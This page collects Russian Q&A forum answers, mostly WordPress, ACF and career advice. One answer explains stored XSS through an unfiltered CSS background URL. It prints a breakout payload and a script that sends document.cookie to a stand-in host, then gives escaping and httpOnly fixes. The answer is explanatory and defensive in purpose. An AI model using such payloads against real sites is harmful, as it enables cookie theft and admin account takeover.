• Конфликт двух Custom Post Type - Как исправить?

    HeadOnFire
    @HeadOnFire
    PHP, Laravel & WordPress Evangelist
    Ох там и винегрет)) при чем у каждого register_post_type свои приколы, например:
    - 'query_var' => 'post_type', - это во втором куске
    - $rewrite - в первом нет, во втором есть
    - 'exclude_from_search' => true, - вангую, что объекты недвижимости таки должны искаться
    - 'capability_type' => 'page', - вангую, что тут редактора с разными ролями могут быть, импорт и тд, а значит capability свои надо генерить а не наследовать от page
    - 'taxonomies'  => array( 'estate_type', 'estate_operation', 'estate_district', 'estate_building_type', 'estate_class'),
    - вот этого лучше вообще не делать, этот аргумент для встроенных таксономий подходит, для кастомных - не очень. Там порядок регистрации и связки таксономий и типов записей немножко не такой, как вы думаете. Связку делайте через таксономии - регистируя их, указывайте для каких post_type.

    Ну и много такого. Воспользуйтесь GenerateWP -> Post Type Generator и создайте ваши custom post types по одной и той же схеме, как положено. Таксономии можете пересоздать там же. Глядишь, и баги уйдут.

    ЗЫ: А вообще если у вас в проекте их много (таксономий и типов записей), то пора переходить на новый уровень - использовать библиотеки.
    Ответ написан
    Комментировать
  • Свобода выбора или работа программистом в НИИ - что для вас лучше?

    MalkovVladimir73
    @MalkovVladimir73
    Fullstack (node + vue.js)
    1. Обязательно иди в ВУЗ в мск, забудь про регионы
    2. Выбирай тот ВУЗ в который проще пройти на бюджет (устроит любая около ИТ тематика). Желательно чтобы ВУЗ был не требовательным и не мешал самообучению. На диплом всем все равно будет параллельно
    3. Учи программирование сам, не рассчитывай на мистическую "базу программирования", которую, якобы, дают ВУЗы
    4. Параллельно ищи бесплатные курсы/стажировки/школы программирования и иди туда, если сможешь пройти конкурс (hh школа, программы яндекса и т.д)
    5. После бакалавриата иди искать работу, если не останешься в компании, где пройдешь практику (а именно так с толковыми новичками и бывает)
    Ответ написан
    Комментировать
  • На чем зарабатывает Quora, toster или подобные сайты?

    shmatuan
    @shmatuan
    8 year of Web, 5 years of Vue
    Можно просто выключить адблок и увидеть ответ
    5bd0447166cd2277435374.png
    Ответ написан
    Комментировать
  • Как можно отлаживать печатную версию страницы в браузере?

    Можно так

    mV2ra.png

    P.S. Вместо Rendering Settings может быть просто Rendering, просто картинка 16 года.
    Ответ написан
    2 комментария
  • Как поменять английские месяцы на русские?

    У WP есть встроенная функция
    function date_i18n( $dateformatstring, $unixtimestamp = false, $gmt = false )

    $lpOnlyDate = date_i18n('j F Y в', strtotime($val["time"]));
    Ответ написан
    Комментировать
  • Кто и как в организации собеседует на позицию Senior Developer при отборе кандидатов?

    longclaps
    @longclaps
    При найме джуниора обычно его собеседует сеньёр,
    в случае найма сеньёра ситуация в некотором смысле симметричная - на него выпускают стаю джуниоров и миддлов, и они его рвут в клочья собеседуют.
    Ответ написан
    Комментировать
  • Откуда разработчики знают как именно что то реализовать?

    Ваша проблема в том, что вы слишком сильно задаетесь сложными вопросами. Примерно как пытаться понять, почему машина двигается "влоб".

    В разработке, как и везде, важно последовательное изучение и практика. Нельзя взять и сходу написать свой гугл с блекджеком и .... не умея писать простенький сайт. Возьмите любую область и там всегда будет важен опыт и мышление.

    Когда вам нужно сверстать страницу, вы что-то там себе пишете. Вот все, страница готова. Далее вам говорят. А сделайте регистрацию. Первое что вы делаете - лезете в гугл с запросом "как написать регистрацию на php". Вы видите кучу каши о каких-то запросах, базах, каких-то защитах, шифрованиях и тд. Все вместе прямо сейчас вам не понятно. Но разобравшись поэтапно в каждом из них вы уже можете написать простую регистрацию. Потом ваш сайт поломали к чертям, потому что при написании регистрации вы вообще не думали о безопасности. Вам дали по шапке и вот теперь новый опыт, в след раз все вещи вы будете стараться защитить.

    Уже имея опыт работы с базой (так как вы писали модуль регистрации), вы, формально, можете поковыряться и сделать возможность добавлять в базу новости на сайт, а потом их выводить на этом же сайте. И внезапно, вы уже понимаете как реализовать кривой-косой блог.

    В ходе решения любой задачи возникает масса проблем, которые вы вынуждены будете решать. Это и есть опыт. И чем больше таких задач вы решаете, тем проще вам будет решать все последующие проблемы.

    P.S. Как говорилось людьми выше, есть такой инструмент как "поиск гугл", на худой конец "товаращи по цеху" помогут.
    Ответ написан
    Комментировать
  • Какой плагин для добавление кнопки "Добавить поле" Contact form 7 для Wordpress?

    azerphoenix
    @azerphoenix
    Java Software Engineer
    Обязательно ли вам нужно дополнение для cf7 ?
    можно решить более простым способом... используйте ACF
    Используйте acf form + acf repeater
    https://www.advancedcustomfields.com/resources/acf...

    Контактная форма при помощи ACF
    https://www.advancedcustomfields.com/resources/usi...

    А чтобы добавить кнопку "Добавить поле" - просто добавьте в форму ACf Repeater.

    А если хотите все же реализовать через CF7, то вот и плагин для него -
    https://wordpress.org/plugins/cf7-repeatable-fields/
    Ответ написан
    1 комментарий
  • Advanced Custom Fields Вывод вложенных групп и полей в них?

    HeadOnFire
    @HeadOnFire
    PHP, Laravel & WordPress Evangelist
    Все есть в документации, если читать внимательно. А именно: поле Group возвращает массив в формате Field name => Field Value. В случае с вложенными группами, будет 2 уровня вложенности. Делайте var_dump( get_field( 'index-slides' ) ); чтобы увидеть что в возвращаемом массиве.

    По ссылке в доке есть как правильно цикл строить. Специфика этого поля в том, что сохраняются значения в виде имя-группы_имя-поля, поэтому прямой доступ по имя-поля (first-title) невозможен.

    RTFM, в общем.
    Ответ написан
    2 комментария
  • Где в WordPress хранятся иконки админпанели?

    Palych_tw
    @Palych_tw
    Типа веб-разработчик
    Никакой это не Font Awesome. Это собственные иконки WordPress. Шрифт так и называется dashicons. Лежит он в wp-includes/fonts
    Ответ написан
    Комментировать
  • Как вывести название кастомных рубрик и название постов, которые в этой рубрике в WordPress?

    HeadOnFire
    @HeadOnFire
    PHP, Laravel & WordPress Evangelist
    Самый простой вариант, хотя и не самый производительный, если таких "групп записей" много:
    // Сначала получаем термины кастомной таксономии:
    $terms = get_terms( [
        'taxonomy' => 'taxonomy_name', // тут укажите правильное название вашей таксономии
        'hide_empty' => true,
    ] );
    
    // Далее циклом выводим эти блоки:
    foreach ( $terms as $term ) :
    
        echo '<div>';
    
            // Получаем Х записей с конкретным термином, формируем параметры запроса:
            $args = [
                'post_type' => 'post_type_name', // тут укажите правильное название вашего custom post type
                'posts_per_page' => 5 // количество записей
                'tax_query' => [
                    [
                        'taxonomy' => 'taxonomy_name', // тут укажите правильное название вашей таксономии
                        'field' => 'term_id', // term_id, slug или name - что удобнее
                        'terms' => $term->term_id, // ID текущего термина в цикле
                        'include_children' => false,
                    ],
                ],
            ];
    
            // Получаем Х записей с конкретным термином:
            $posts_with_term = new WP_Query( $args );
    
            // Выводим записи циклом:
            while ( $posts_with_term->have_posts() ) : $posts_with_term->the_post();
    
                // Тут форматируйте вывод как угодно:
                the_title();
    
            endwhile;
            wp_reset_postdata();
    
        echo '</div>';
    
    endforeach;

    Дополнительно почитайте про все параметры WP_Query, чтобы оптимизировать их (например, отключить пагинацию, кеширование метаданных и терминов так как здесь они вам не нужны и тд) - это позволит уменьшить общее количество запросов к БД и повысить производительность.

    Очевидно, что если терминов у вас много, то каждый термин будет давать дополнительный WP_Query. Производительность будет немножко падать по мере роста количества терминов, которые требуется вывести. Впрочем, эти списки не будут меняться прям очень часто, поэтому тут сразу просится кеширование.

    Кеширование я бы делал так:

    1. Каждый WP_Query кешируется в transients / object cache (только почитайте как правильно кешировать именно $query->results а не весь объект WP_Query).
    2. Каждому такому блоку в кеше присваиваем рандомное (в определенном диапазоне) время жизни. Чтобы все блоки не сбрасывались и не пересоздавались одновременно. Так регенерация кеша будет незаметна, если есть более-менее стабильный трафик.
    3. При добавлении новой записи смотреть в какой блок она входит и удалять этот блок из кеша. Это предотвратит отображение устаревшей информации.

    P.S.: Писал не проверяя прямо здесь, так что мог где-то опечататься, но в целом должно работать.
    P.P.S.: Сложность этого вопроса "средний", а не "сложный" - это все делается стандартными средствами и подробно расписано в документации.
    Ответ написан
  • Быстрый заработок на программировании?

    nki
    @nki
    bezkart.ru готовая система лояльности
    для меня лучше зарабатывать 5 баксов в день

    Идите в такси.
    Ответ написан
    14 комментариев
  • Как сделать так, чтобы php заработал в редакторе страницы Wordpress?

    azerphoenix
    @azerphoenix
    Java Software Engineer
    Здравствуйте!
    1) Крайне не рекомендуется вставлять рнр код в редактор. Но если очень хочется, то плагин Exec PHP или Allow PHP Execute (не знаю работают ли они, т.к. устарели).
    2) Корректный способ добавления рнр кода на странице будет путем создания шорткода, а уже шорткод вставьте в контент. Подробнее - https://wp-kama.ru/function/add_shortcode
    Или же можно рнр код вставить в шаблон и назначить этот шаблон для страницы или записи...
    Ответ написан
    Комментировать
  • Вывод произвольных полей Advanced Custom Field в произвольных типах записей?

    rOOse
    @rOOse
    Frontend developer
    Что-то мне подсказывает что там какой-то изврат с получением постов
    the_field('kol_cames', $markspost->ID)

    так пробуйте
    Ответ написан
    1 комментарий
  • Как в сетке Bootstrap 4 сделать у части фон до края окна только с одной стороны?

    web_Developer_Victor
    @web_Developer_Victor
    Что такое google?
    body {
     background-image: linear-gradient(to right, green 0%, green 50%, white 50%, white 100%);
    } /*а дальше самим блокам задаем background*/
    Ответ написан
    2 комментария
  • Зачем во избежание XSS нужно указывать на каждой странице кодировку, если злоумышленник все равно может изменить ее?

    @JunDevTest
    Контакты: thejundev@gmail.com | @juniordev
    XSS это эксплуатация уязвимостей в HTML, JS и других скриптах.

    3. Указывайте кодировку на каждой веб-странице.

    Кодировку нужно указывать, так как некоторые браузеры могут её неправильно определить и текстовой контент на сайте станет нечитаемым.

    В случае если тег расположен до тега и заполняется пользовательскими данными

    Нужно фильтровать пользовательские данные, в том числе, когда они встраиваются в HTML разметку.
    Например, вы разрешаете пользователям изменять фоновую картинку в своём профиле.
    У вас есть текстовое поле, в которое пользователь вводит ссылку на картинку. После этого вы подставляете картинку пользователя, например из базы данных в переменную $user_background.
    Таким образом, код на странице пользователя, выглядит как-то так:
    <body style="background: #282b31 url($user_background) 50% 0 repeat;">
    ...
    </body>

    Пользователь вставляет свою ссылку example.com/image.png и в коде страницы, это выглядит так:
    <body style="background: #282b31 url(http://example.com/image.png) 50% 0 repeat;">
    ...
    </body>

    Казалось-бы, что здесь не так. Если пользователь вставит сюда что-нибудь кроме картинки, то ничего не будет, по правилам CSS, зачем что-то фильтровать или... нет.
    Предположим, школохацкер вставит вместо картинки какой-нибудь тег:
    <script>alert('Мамку админа ипал!!111');</script>
    В таком случае, как правило, ничего не произойдёт, но может съехать вёрстка, что уже признак уязвимости. Дальше у нашего хакира бомбанёт пупкан и он попросит помощи у старшего брата из группировки Онанимусов. Добрый братик изменит эту строчку так, чтобы превратить её в активную XSS уязвимость ( правильно говорить "раскрутит" её ).
    На этом этапе строчка будет выглядеть как-то так:
    http://example.com/image.png') 50% 0 repeat;"><script>alert('Мамку админа ипал!!111');</script><input type="hidden" style="background: #282b31 url(

    Она не только радостно поприветствует алертом каждого, кто зайдёт на эту страницу, но ещё и установит картинку и не испортит вёрстку сайта, да ещё и к тому же не нарушит правил CSS. Итак, это и есть XSS уязвимость.
    Они к слову, бывают нескольких видов. Активные и пассивные.
    Чтобы расширить свой кругозор в области XSS, рекоммендую прочесть старый как помёт мамонта, мануал на форуме Antichat: forum.antichat.ru/threads/20140/ ( странно, ссылка вырезается, не уж то Ачат на Тостере под запретом? ).

    Что тут происходит?!
    Из-за отсутствия фильтрации текст из поля, сохраняется в БД в первоначальном виде. Как только он попадает на страницу, начинается самое интересное ^_^.
    Сначала код устанавливает картинку на фон, потом благополучно закрывает этот тег. После этого идёт "пейлоад", то есть JS код, например. С таким же успехом, можно запихнуть туда, например тег test или кучу ссылок на продажу виагры с анкорами, тем самым подняв некоторые показатели, например, индекс цитируемости (ТИЦ) для своих ссылок. После этого мы создаём новый тег input, делаем его скрытым и тем самым закрываем тег ( по стандартам html, этот элемент не нуждается в закрывающемся теге ). Уязвимость готова.

    Что ещё?
    Ну если вам этого недостаточно то можно "выипать админа" с помощью соц. инженерии и... той самой XSS. Для этого достаточно лишь поменять код JS на что-то вроде:
    <script>$.get('http://example.com/adminlox.php?sniffer=' + document.cookie);</script>

    и если у нубоадмина нет httponly у куков, то можно получить данные админа и войти под его аккаунтом или даже попасть в админку сайта. Дальше можно кое-что залить, но это уже совсем другая история... :3

    Как фиксить?
    Как минимум в этом конкретном случае, обернуть PHP переменную $user_background в
    htmlspecialchars($user_background, ENT_QUOTES, 'UTF-8');
    таким образом, код, показанный выше уже работать не будет. Дальше нужно установить httponly у сессионных Cookie (если ещё не стоит), для этого нужно заменить вашу конструкцию, на что-то вроде этого:
    header( "Set-Cookie: name=value; httpOnly" );
    или так
    setcookie('Foo','Bar',0,'/', 'www.sample.com'  , FALSE, TRUE);

    ну и вообще, перед тем как что-то писать, лучше прочтите хотя-бы одну книгу по PHP7.x, JS ec6, HTML5,CSS3. Я сам их не читал, поэтому это можете спросить здесь, новым вопросом. Здесь есть ребята, которые могут подсказать действительно годную и современную литературу.
    Удачи вам, в познании XSS.
    Ответ написан
    Комментировать
  • Где WP обрабатывает код статьи перед рендером?

    HeadOnFire
    @HeadOnFire
    PHP, Laravel & WordPress Evangelist
    Перед выводом значения из базы применяется фильтр the_content. По умолчанию из коробки на нем висит ряд коллбеков, один из них - wp_autop, который и формирует параграфы.

    Все это есть в документации, все это можно отловить и посмотреть как через код в любом IDE, так и с помощью Xdebug.
    Ответ написан
    1 комментарий